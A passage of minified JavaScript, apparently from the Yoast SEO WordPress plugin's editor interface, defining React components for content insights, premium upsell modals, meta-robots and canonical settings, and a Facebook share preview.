wr(),!1;switch(s){case"no-more-tokens":if(0!==o){const{leadingTextStart:e,tokenStart:t}=gr.pop();hr.push(ur.substring(e,e+t))}return wr(),!1;case"self-closed":return 0===o?(null!==l&&hr.push(ur.substring(l,n)),hr.push(e[r]),mr=n+a,!0):(br(fr(e[r],n,a)),mr=n+a,!0);case"opener":return gr.push(fr(e[r],n,a,n+a,l)),mr=n+a,!0;case"closer":if(1===o)return function(e){const{element:t,leadingTextStart:s,prevOffset:r,tokenStart:n,children:a}=gr.pop(),o=e?ur.substring(r,e):ur.substring(r);o&&a.push(o),null!==s&&hr.push(ur.substring(s,n)),hr.push((0,i.cloneElement)(t,null,...a))}(n),mr=n+a,!0;const t=gr.pop(),s=ur.substring(t.prevOffset,n);t.children.push(s),t.prevOffset=n+a;const c=fr(t.element,t.tokenStart,t.tokenLength,n+a);return c.children=t.children,br(c),mr=n+a,!0;default:return wr(),!1}}const vr=(e,t)=>{if(ur=e,mr=0,hr=[],gr=[],yr.lastIndex=0,!(e=>{const t="object"==typeof e,s=t&&Object.values(e);return t&&s.length&&s.every((e=>(0,i.isValidElement)(e)))})(t))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are WPElements");do{}while(Er(t));return(0,i.createElement)(i.Fragment,null,...hr)},kr=({data:e,itemScreenReaderText:s,className:r,...n})=>{const a=(0,i.useMemo)((()=>{var t,s;return null!==(t=null===(s=(0,m.maxBy)(e,"number"))||void 0===s?void 0:s.number)&&void 0!==t?t:0}),[e]);return(0,t.createElement)("ul",{className:Ne()("yoast-data-model",r),...n},e.map((({name:e,number:r})=>(0,t.createElement)("li",{key:`${e}_dataItem`,style:{"--yoast-width":r/a*100+"%"}},e,(0,t.createElement)("span",null,r),s&&(0,t.createElement)("span",{className:"screen-reader-text"},(0,l.sprintf)(s,r))))))};kr.propTypes={data:y().arrayOf(y().shape({name:y().string.isRequired,number:y().number.isRequired})),itemScreenReaderText:y().string,className:y().string},kr.defaultProps={data:[],itemScreenReaderText:"",className:""};const _r=kr,xr=window.wp.url,Rr=(0,De.makeOutboundLink)(),Sr=({location:e})=>{const s=(0,a.useSelect)((e=>{var t,s;return null===(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getPreference("isProminentWordsAvailable",!1))||void 0===t||t}),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").getPreference("shouldUpsell",!1)),[]),n=(0,i.useMemo)((()=>(0,m.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-prominent_words`,"")),[e]),o=(0,i.useMemo)((()=>{const e=(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-keyword_research_link","");return vr((0,l.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,l.__)("Read our %1$sultimate guide to keyword research%2$s to learn more about keyword research and keyword strategy.","wordpress-seo"),"<a>","</a>"),{a:(0,t.createElement)(Rr,{href:e})})}),[]),c=(0,i.useMemo)((()=>vr((0,l.sprintf)(
// translators: %1$s expands to a starting `b` tag, %1$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,l.__)("With %1$s%3$s%2$s, this section will show you which words occur most often in your text. By checking these prominent words against your intended keyword(s), you'll know how to edit your text to be more focused.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,t.createElement)("b",null)})),[]),d=(0,a.useSelect)((e=>{var t,s;return null!==(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getProminentWords())&&void 0!==t?t:[]}),[]),u=(0,i.useMemo)((()=>{const e=(0,l.sprintf)(
// translators: %1$s expands to Yoast SEO Premium.
(0,l.__)("Get %s to enjoy the benefits of prominent words","wordpress-seo"),"Yoast SEO Premium").split(/\s+/);return e.map(((t,s)=>({name:t,number:e.length-s})))}),[]),h=(0,i.useMemo)((()=>r?u:d.map((({word:e,occurrence:t})=>({name:e,number:t})))),[d,u]);if(!s)return null;const{locationContext:g}=(0,p.useRootContext)();return(0,t.createElement)("div",{className:"yoast-prominent-words"},(0,t.createElement)("div",{className:"yoast-field-group__title"},(0,t.createElement)("b",null,(0,l.__)("Prominent words","wordpress-seo"))),!r&&(0,t.createElement)("p",null,0===h.length?(0,l.__)("Once you add a bit more copy, we'll give you a list of words that occur the most in the content. These give an indication of what your content focuses on.","wordpress-seo"):(0,l.__)("The following words occur the most in the content. These give an indication of what your content focuses on. If the words differ a lot from your topic, you might want to rewrite your content accordingly.","wordpress-seo")),r&&(0,t.createElement)("p",null,c),r&&(0,t.createElement)(Rr,{href:(0,xr.addQueryArgs)(n,{context:g}),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yoast-button yoast-button-upsell"},(0,l.sprintf)(
// translators: %s expands to `Premium` (part of add-on name).
(0,l.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,t.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,t.createElement)("p",null,o),(0,t.createElement)(_r,{data:h,itemScreenReaderText:/* translators: Hidden accessibility text; %d expands to the number of occurrences. */
(0,l.__)("%d occurrences","wordpress-seo"),"aria-label":(0,l.__)("Prominent words","wordpress-seo"),className:r?"yoast-data-model--upsell":null}))};Sr.propTypes={location:y().string.isRequired};const Tr=Sr,Cr=()=>{const e=(0,a.useSelect)((e=>e("yoast-seo/editor").getTextLength()),[]),s=(0,i.useMemo)((()=>(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-word_count","")),[]);let r=(0,l._n)("word","words",e.count,"wordpress-seo"),n=(0,l.__)("Word count","wordpress-seo"),o=(0,l.__)("Learn more about word count","wordpress-seo");return"character"===e.unit&&(r=(0,l._n)("character","characters",e.count,"wordpress-seo"),n=(0,l.__)("Character count","wordpress-seo"),
/* translators: Hidden accessibility text. */
o=(0,l.__)("Learn more about character count","wordpress-seo")),(0,t.createElement)(ke.InsightsCard,{amount:e.count,unit:r,title:n,linkTo:s,linkText:o})},Ir=(0,De.makeOutboundLink)(),Pr=({location:e})=>{const s=(0,i.useMemo)((()=>(0,m.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-text_formality`,"")),[e]),r=(0,i.useMemo)((()=>vr((0,l.sprintf)(
// Translators: %1$s expands to a starting `b` tag, %2$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,l.__)("%1$s%3$s%2$s will help you assess the formality level of your text.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,t.createElement)("b",null)})),[]);return(0,t.createElement)(i.Fragment,null,(0,t.createElement)("div",null,(0,t.createElement)("p",null,r),(0,t.createElement)(Ir,{href:s,className:"yoast-button yoast-button-upsell"},(0,l.sprintf)(
// Translators: %s expands to `Premium` (part of add-on name).
(0,l.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,t.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"}))))};Pr.propTypes={location:y().string.isRequired};const Lr=Pr,Ar=({location:e,name:s})=>{const r=(0,a.useSelect)((e=>e("yoast-seo/editor").isFormalitySupported()),[]),n=h().isPremium,o=n?(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_premium",""):(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_free",""),i=(0,l.__)("Read more about text formality.","wordpress-seo");return r?(0,t.createElement)("div",{className:"yoast-text-formality"},(0,t.createElement)("div",{className:"yoast-field-group__title"},(0,t.createElement)("b",null,(0,l.__)("Text formality","wordpress-seo")),(0,t.createElement)(ke.HelpIcon,{linkTo:o,linkText:i})),n?(0,t.createElement)(k.Slot,{name:s}):(0,t.createElement)(Lr,{location:e})):null};Ar.propTypes={location:y().string.isRequired,name:y().string.isRequired};const Fr=Ar,Or=({location:e})=>{const s=(0,a.useSelect)((e=>e("yoast-seo/editor").isFleschReadingEaseAvailable()),[]);return(0,t.createElement)(ir,{title:(0,l.__)("Insights","wordpress-seo"),id:`yoast-insights-collapsible-${e}`,className:"yoast-insights"},(0,t.createElement)(Tr,{location:e}),(0,t.createElement)("div",null,s&&(0,t.createElement)("div",{className:"yoast-insights-row"},(0,t.createElement)(pr,null)),(0,t.createElement)("div",{className:"yoast-insights-row yoast-insights-row--columns"},(0,t.createElement)(lr,null),(0,t.createElement)(Cr,null)),(0,ar.isFeatureEnabled)("TEXT_FORMALITY")&&(0,t.createElement)(Fr,{location:e,name:"YoastTextFormalityMetabox"})))};Or.propTypes={location:y().string},Or.defaultProps={location:"metabox"};const Nr=Or,qr=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),Mr=w().div`
  padding: 25px 32px 32px;
  color: #303030;
`,Dr=w().ul`
  margin: 0;
  padding: 0;

  li {
    list-style-image: var(--yoast-svg-icon-check);
    margin: 0.5rem 0 0 1.5rem;
    line-height: 1.4em;

    &::marker {
      font-size: 1.5rem;
    }
  }
`,$r=w().span`
  display: block;
  margin-top: 4px;
`,Br=w().h2`
  margin-top: 0;
  margin-bottom: 0.25rem;
  color: #303030;
  font-size: 0.8125rem;
  font-weight: 600;
`,Ur=w().p`
  display: block;
  margin: 0.25rem 0 1rem 0 !important;
  max-width: 420px;
`,Wr=w().hr`
  margin-top: 1.5rem;
  margin-bottom: 1rem;
  border-top: 0;
  border-bottom: 1px solid #E2E8F0;
`,jr=w().div`
  text-align: center;
`,Kr=w().a`
  width: 100%;
`,Hr=(0,De.makeOutboundLink)(Kr);class Vr extends i.Component{constructor(e){super(e),this.state={defaultPrice:"99"}}createBenefitsList(e){return e.length>0&&(0,t.createElement)(Dr,{role:"list"},e.map(((e,s)=>(0,t.createElement)("li",{key:`upsell-benefit-${s}`},(0,i.createInterpolateElement)(e,{strong:(0,t.createElement)("strong",null)})))))}render(){const e=(0,a.select)("yoast-seo/editor").isPromotionActive("black-friday-2024-promotion"),{defaultPrice:s}=this.state,r=e?"69.30":null,n=r||s;return(0,t.createElement)(i.Fragment,null,e&&(0,t.createElement)("div",{className:"yst-flex  yst-items-center yst-text-lg yst-content-between yst-bg-black yst-text-amber-300 yst-h-9 yst-border-amber-300 yst-border-y yst-border-x-0 yst-border-solid yst-px-6"},(0,t.createElement)("div",{className:"yst-mx-auto"},(0,l.__)("30% OFF - BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)(Mr,null,(0,t.createElement)(Br,null,this.props.title),(0,t.createElement)(Ur,null,this.props.description),(0,t.createElement)(jr,null,(0,t.createElement)(Hr,{...this.props.upsellButton},this.props.upsellButtonText,this.props.upsellButtonHasCaret&&(0,t.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,t.createElement)("div",{className:"yst-text-slate-600 yst-my-4"},r&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-500 yst-line-through"},s)," "),(0,t.createElement)("span",{className:"yst-text-slate-900 yst-text-2xl yst-font-bold"},n)," ",(0,l.__)("$ USD / € EUR / £ GBP per year (ex. VAT)","wordpress-seo")),(0,t.createElement)($r,{id:this.props.upsellButton["aria-describedby"]},this.props.upsellButtonLabel)),(0,t.createElement)(Wr,null),(0,t.createElement)(Br,null,this.props.benefitsTitle),this.createBenefitsList(this.props.benefits)))}}Vr.propTypes={title:y().node,benefits:y().array,benefitsTitle:y().node,description:y().node,upsellButton:y().object,upsellButtonText:y().string.isRequired,upsellButtonLabel:y().string,upsellButtonHasCaret:y().bool},Vr.defaultProps={title:null,description:null,benefits:[],benefitsTitle:null,upsellButton:{href:"",className:"button button-primary"},upsellButtonLabel:"",upsellButtonHasCaret:!0};const zr=Vr,Yr=()=>{const[e,,,s,r]=(0,S.useToggleState)(!1),{locationContext:n}=(0,p.useRootContext)(),a=(0,S.useSvgAria)(),o=n.includes("sidebar"),i=n.includes("metabox"),c=wpseoAdminL10n[o?"shortlinks.upsell.sidebar.internal_linking_suggestions":"shortlinks.upsell.metabox.internal_linking_suggestions"];return(0,t.createElement)(t.Fragment,null,e&&(0,t.createElement)(je,{title:(0,l.__)("Get internal linking suggestions","wordpress-seo"),onRequestClose:r,additionalClassName:"",id:"yoast-internal-linking-suggestions-upsell",className:`${Ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,t.createElement)(Be,null,(0,t.createElement)(zr,{title:(0,l.__)("Rank higher by connecting your content","wordpress-seo"),description:(0,l.sprintf)(/* translators: %s expands to Yoast SEO Premium. */
(0,l.__)("%s automatically suggests to what content you can link with easy drag-and-drop functionality, which is good for your SEO!","wordpress-seo"),"Yoast SEO Premium"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:he(),upsellButtonText:(0,l.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,l.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:(0,xr.addQueryArgs)(c,{context:n}),className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,l.__)("1 year free support and updates included!","wordpress-seo")}))),o&&(0,t.createElement)(Ge,{id:"yoast-internal-linking-suggestions-sidebar-modal-open-button",title:(0,l.__)("Internal linking suggestions","wordpress-seo"),onClick:s},(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...a})))),i&&(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(Me,{id:"yoast-internal-linking-suggestions-metabox-modal-open-button",onClick:s},(0,t.createElement)(Me.Text,null,(0,l.__)("Internal linking suggestions","wordpress-seo")),(0,t.createElement)(S.Badge,{size:"small",variant:"upsell"},(0,t.createElement)(qr,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...a}),(0,t.createElement)("span",null,"Premium")))))},Gr=({children:e})=>(0,t.createElement)("div",null,e);Gr.propTypes={renderPriority:y().number.isRequired,children:y().node.isRequired};const Zr=Gr,Xr=({noIndex:e,onNoIndexChange:s,editorContext:r,isPrivateBlog:n})=>{const a=(e=>{const t=(0,l.__)("No","wordpress-seo"),s=(0,l.__)("Yes","wordpress-seo"),r=e.noIndex?t:s;return window.wpseoScriptData.isPost?[{name:(0,l.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,l.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"0"},{name:t,value:"1"},{name:s,value:"2"}]:[{name:(0,l.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,l.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"default"},{name:s,value:"index"},{name:t,value:"noindex"}]})(r);return(0,t.createElement)(p.LocationConsumer,null,(r=>(0,t.createElement)(i.Fragment,null,n&&(0,t.createElement)(ke.Alert,{type:"warning"},(0,l.__)("Even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won't have an effect.","wordpress-seo")),(0,t.createElement)(ke.Select,{label:(0,l.__)("Allow search engines to show this content in search results?","wordpress-seo"),onChange:s,id:(0,De.join)(["yoast-meta-robots-noindex",r]),options:a,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.allow_search_engines"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about the no-index setting on our help page.","wordpress-seo")}))))};Xr.propTypes={noIndex:y().string.isRequired,onNoIndexChange:y().func.isRequired,editorContext:y().object.isRequired,isPrivateBlog:y().bool},Xr.defaultProps={isPrivateBlog:!1};const Qr=({noFollow:e,onNoFollowChange:s})=>(0,t.createElement)(p.LocationConsumer,null,(r=>{const n=(0,De.join)(["yoast-meta-robots-nofollow",r]);return(0,t.createElement)(ke.RadioButtonGroup,{id:n,options:[{value:"0",label:"Yes"},{value:"1",label:"No"}],label:(0,l.__)("Should search engines follow links on this content?","wordpress-seo"),groupName:n,onChange:s,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.follow_links"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about the no-follow setting on our help page.","wordpress-seo")})}));Qr.propTypes={noFollow:y().string.isRequired,onNoFollowChange:y().func.isRequired};const Jr=({advanced:e,onAdvancedChange:s})=>(0,t.createElement)(p.LocationConsumer,null,(r=>{const n=(0,De.join)(["yoast-meta-robots-advanced",r]),a=`${n}-input`;return(0,t.createElement)(ke.MultiSelect,{label:(0,l.__)("Meta robots advanced","wordpress-seo"),onChange:s,id:n,inputId:a,options:[{name:(0,l.__)("No Image Index","wordpress-seo"),value:"noimageindex"},{name:(0,l.__)("No Archive","wordpress-seo"),value:"noarchive"},{name:(0,l.__)("No Snippet","wordpress-seo"),value:"nosnippet"}],selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.meta_robots"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about advanced meta robots settings on our help page.","wordpress-seo")})}));Jr.propTypes={advanced:y().array.isRequired,onAdvancedChange:y().func.isRequired};const en=({breadcrumbsTitle:e,onBreadcrumbsTitleChange:s})=>(0,t.createElement)(p.LocationConsumer,null,(r=>(0,t.createElement)(ke.TextInput,{label:(0,l.__)("Breadcrumbs Title","wordpress-seo"),id:(0,De.join)(["yoast-breadcrumbs-title",r]),onChange:s,value:e,linkTo:wpseoAdminL10n["shortlinks.advanced.breadcrumbs_title"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about the breadcrumbs title setting on our help page.","wordpress-seo")})));en.propTypes={breadcrumbsTitle:y().string.isRequired,onBreadcrumbsTitleChange:y().func.isRequired};const tn=({canonical:e,onCanonicalChange:s})=>(0,t.createElement)(p.LocationConsumer,null,(r=>(0,t.createElement)(ke.TextInput,{label:(0,l.__)("Canonical URL","wordpress-seo"),id:(0,De.join)(["yoast-canonical",r]),onChange:s,value:e,linkTo:"https://yoa.st/canonical-url"
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about canonical URLs on our help page.","wordpress-seo")})));tn.propTypes={canonical:y().string.isRequired,onCanonicalChange:y().func.isRequired};const sn=e=>{const{noIndex:s,noFollow:r,advanced:n,breadcrumbsTitle:a,canonical:o,onNoIndexChange:l,onNoFollowChange:c,onAdvancedChange:d,onBreadcrumbsTitleChange:p,onCanonicalChange:u,onLoad:m,isLoading:h,editorContext:g,isBreadcrumbsDisabled:y,isPrivateBlog:f}=e;(0,i.useEffect)((()=>{setTimeout((()=>{h&&m()}))}));const w={noIndex:s,onNoIndexChange:l,editorContext:g,isPrivateBlog:f},b={noFollow:r,onNoFollowChange:c},E={advanced:n,onAdvancedChange:d},v={breadcrumbsTitle:a,onBreadcrumbsTitleChange:p},k={canonical:o,onCanonicalChange:u};return h?null:(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Xr,{...w}),g.isPost&&(0,t.createElement)(Qr,{...b}),g.isPost&&(0,t.createElement)(Jr,{...E}),!y&&(0,t.createElement)(en,{...v}),(0,t.createElement)(tn,{...k}))};sn.propTypes={noIndex:y().string.isRequired,canonical:y().string.isRequired,onNoIndexChange:y().func.isRequired,onCanonicalChange:y().func.isRequired,onLoad:y().func.isRequired,isLoading:y().bool.isRequired,editorContext:y().object.isRequired,isBreadcrumbsDisabled:y().bool.isRequired,isPrivateBlog:y().bool,advanced:y().array,onAdvancedChange:y().func,noFollow:y().string,onNoFollowChange:y().func,breadcrumbsTitle:y().string,onBreadcrumbsTitleChange:y().func},sn.defaultProps={advanced:[],onAdvancedChange:()=>{},noFollow:"",onNoFollowChange:()=>{},breadcrumbsTitle:"",onBreadcrumbsTitleChange:()=>{},isPrivateBlog:!1};const rn=sn,nn=(0,Le.compose)([(0,a.withSelect)((e=>{const{getNoIndex:t,getNoFollow:s,getAdvanced:r,getBreadcrumbsTitle:n,getCanonical:a,getIsLoading:o,getEditorContext:i,getPreferences:l}=e("yoast-seo/editor"),{isBreadcrumbsDisabled:c,isPrivateBlog:d}=l();return{noIndex:t(),noFollow:s(),advanced:r(),breadcrumbsTitle:n(),canonical:a(),isLoading:o(),editorContext:i(),isBreadcrumbsDisabled:c,isPrivateBlog:d}})),(0,a.withDispatch)((e=>{const{setNoIndex:t,setNoFollow:s,setAdvanced:r,setBreadcrumbsTitle:n,setCanonical:a,loadAdvancedSettingsData:o}=e("yoast-seo/editor");return{onNoIndexChange:t,onNoFollowChange:s,onAdvancedChange:r,onBreadcrumbsTitleChange:n,onCanonicalChange:a,onLoad:o}}))])(rn),an=w().p`
	color: #606770;
	flex-shrink: 0;
	font-size: 12px;
	line-height: 16px;
	overflow: hidden;
	padding: 0;
	text-overflow: ellipsis;
	text-transform: uppercase;
	white-space: nowrap;
	margin: 0;
	position: ${e=>"landscape"===e.mode?"relative":"static"};
`,on=e=>{const{siteUrl:s}=e;return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("span",{className:"screen-reader-text"},s),(0,t.createElement)(an,{"aria-hidden":"true"},(0,t.createElement)("span",null,s)))};on.propTypes={siteUrl:y().string.isRequired};const ln=on,cn=window.yoast.socialMetadataForms,dn=w().img`
	&& {
		max-width: ${e=>e.width}px;
		height: ${e=>e.height}px;
		position: absolute;
		top: 50%;
		left: 50%;
		transform: translate(-50%, -50%);
		max-width: none;
	}
`,pn=w().img`
	&&{
		height: 100%;
		position: absolute;
		width: 100%;
		object-fit: cover;
	}
`,un=w().div`
	padding-bottom: ${e=>e.aspectRatio}%;
`,mn=e=>{const{imageProps:s,width:r,height:n,imageMode:a}=e;return"landscape"===a?(0,t.createElement)(un,{aspectRatio:s.aspectRatio},(0,t.createElement)(pn,{src:s.src,alt:s.alt})):(0,t.createElement)(dn,{src:s.src,alt:s.alt,width:r,height:n,imageProperties:s})};function hn(e,t,s){return"landscape"===s?{widthRatio:t.width/e.landscapeWidth,heightRatio:t.height/e.landscapeHeight}:"portrait"===s?{widthRatio:t.width/e.portraitWidth,heightRatio:t.height/e.portraitHeight}:{widthRatio:t.width/e.squareWidth,heightRatio:t.height/e.squareHeight}}function gn(e,t){return t.widthRatio<=t.heightRatio?{width:Math.round(e.width/t.widthRatio),height:Math.round(e.height/t.widthRatio)}:{width:Math.round(e.width/t.heightRatio),height:Math.round(e.height/t.heightRatio)}}async function yn(e,t,s=!1){const r=await function(e){return new Promise(((t,s)=>{const r=new Image;r.onload=()=>{t({width:r.width,height:r.height})},r.onerror=s,r.src=e}))}(e);let n=s?"landscape":"square";"Facebook"===t&&(n=(0,cn.determineFacebookImageMode)(r));const a=function(e){return"Twitter"===e?cn.TWITTER_IMAGE_SIZES:cn.FACEBOOK_IMAGE_SIZES}(t),o=function(e,t,s){return"square"===s&&t.width===t.height?{width:e.squareWidth,height:e.squareHeight}:gn(t,hn(e,t,s))}(a,r,n);return{mode:n,height:o.height,width:o.width}}async function fn(e,t,s=!1){try{return{imageProperties:await yn(e,t,s),status:"loaded"}}catch(e){return{imageProperties:null,status:"errored"}}}mn.propTypes={imageProps:y().shape({src:y().string.isRequired,alt:y().string.isRequired,aspectRatio:y().number.isRequired}).isRequired,width:y().number.isRequired,height:y().number.isRequired,imageMode:y().string},mn.defaultProps={imageMode:"landscape"};const wn=w().div`
	position: relative;
	${e=>"landscape"===e.mode?`max-width: ${e.dimensions.width}`:`min-width: ${e.dimensions.width}; height: ${e.dimensions.height}`};
	overflow: hidden;
	background-color: ${_e.colors.$color_white};
`,bn=w().div`
	box-sizing: border-box;
	max-width: ${cn.FACEBOOK_IMAGE_SIZES.landscapeWidth}px;
	height: ${cn.FACEBOOK_IMAGE_SIZES.landscapeHeight}px;
	background-color: ${_e.colors.$color_grey};
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	display: flex;
	justify-content: center;
	align-items: center;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class En extends t.Component{constructor(e){super(e),this.state={imageProperties:null,status:"loading"},this.socialMedium="Facebook",this.handleFacebookImage=this.handleFacebookImage.bind(this),this.setState=this.setState.bind(this)}async handleFacebookImage(){try{const e=await fn(this.props.src,this.socialMedium);this.setState(e),this.props.onImageLoaded(e.imageProperties.mode||"landscape")}catch(e){this.setState(e),this.props.onImageLoaded("landscape")}}componentDidUpdate(e){e.src!==this.props.src&&this.handleFacebookImage()}componentDidMount(){this.handleFacebookImage()}retrieveContainerDimensions(e){switch(e){case"square":return{height:cn.FACEBOOK_IMAGE_SIZES.squareHeight+"px",width:cn.FACEBOOK_IMAGE_SIZES.squareWidth+"px"};case"portrait":return{height:cn.FACEBOOK_IMAGE_SIZES.portraitHeight+"px",width:cn.FACEBOOK_IMAGE_SIZES.portraitWidth+"px"};case"landscape":return{height:cn.FACEBOOK_IMAGE_SIZES.landscapeHeight+"px",width:cn.FACEBOOK_IMAGE_SIZES.landscapeWidth+"px"}}}render(){const{imageProperties:e,status:s}=this.state;if("loading"===s||""===this.props.src||"errored"===s)return(0,t.createElement)(bn,{onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,l.__)("Select image","wordpress-seo"));const r=this.retrieveContainerDimensions(e.mode);return(0,t.createElement)(wn,{mode:e.mode,dimensions:r,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave,onClick:this.props.onImageClick},(0,t.createElement)(mn,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:cn.FACEBOOK_IMAGE_SIZES.aspectRatio},width:e.width,height:e.height,imageMode:e.mode}))}}En.propTypes={src:y().string,alt:y().string,onImageLoaded:y().func,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},En.defaultProps={src:"",alt:"",onImageLoaded:m.noop,onImageClick:m.noop,onMouseEnter:m.noop,onMouseLeave:m.noop};const vn=En,kn=w().span`
	line-height: ${20}px;
	min-height : ${20}px;
	color: #1d2129;
	font-weight: 600;
	overflow: hidden;
	font-size: 16px;
	margin: 3px 0 0;
	letter-spacing: normal;
	white-space: normal;
	flex-shrink: 0;
	cursor: pointer;
	display: -webkit-box;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;
`,xn=w().p`
	line-height: ${16}px;
	min-height : ${16}px;
	color: #606770;
	font-size: 14px;
	padding: 0;
	text-overflow: ellipsis;
	margin: 3px 0 0 0;
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;

	@media all and ( max-width: ${e=>e.maxWidth} ) {
		display: none;
	}
`,Rn=e=>{switch(e){case"landscape":return"527px";case"square":case"portrait":return"369px";default:return"476px"}},Sn=w().div`
	box-sizing: border-box;
	display: flex;
	flex-direction: ${e=>"landscape"===e.mode?"column":"row"};
	background-color: #f2f3f5;
	max-width: 527px;
`,Tn=w().div`
	box-sizing: border-box;
	background-color: #f2f3f5;
	margin: 0;
	padding: 10px 12px;
	position: relative;
	border-bottom: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-top: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-right: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border: ${e=>"landscape"===e.mode?"1px solid #dddfe2":""};
	display: flex;
	flex-direction: column;
	flex-grow: 1;
	justify-content: ${e=>"landscape"===e.mode?"flex-start":"center"};
	font-size: 12px;
	overflow: hidden;
`;class Cn extends t.Component{constructor(e){super(e),this.state={imageMode:null,maxLineCount:0,descriptionLineCount:0},this.facebookTitleRef=r().createRef(),this.onImageLoaded=this.onImageLoaded.bind(this),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}onImageLoaded(e){this.setState({imageMode:e})}getTitleLineCount(){return this.facebookTitleRef.current.offsetHeight/20}maybeSetMaxLineCount(){const{imageMode:e,maxLineCount:t}=this.state,s="landscape"===e?2:5;s!==t&&this.setState({maxLineCount:s})}maybeSetDescriptionLineCount(){const{descriptionLineCount:e,maxLineCount:t,imageMode:s}=this.state,r=this.getTitleLineCount();let 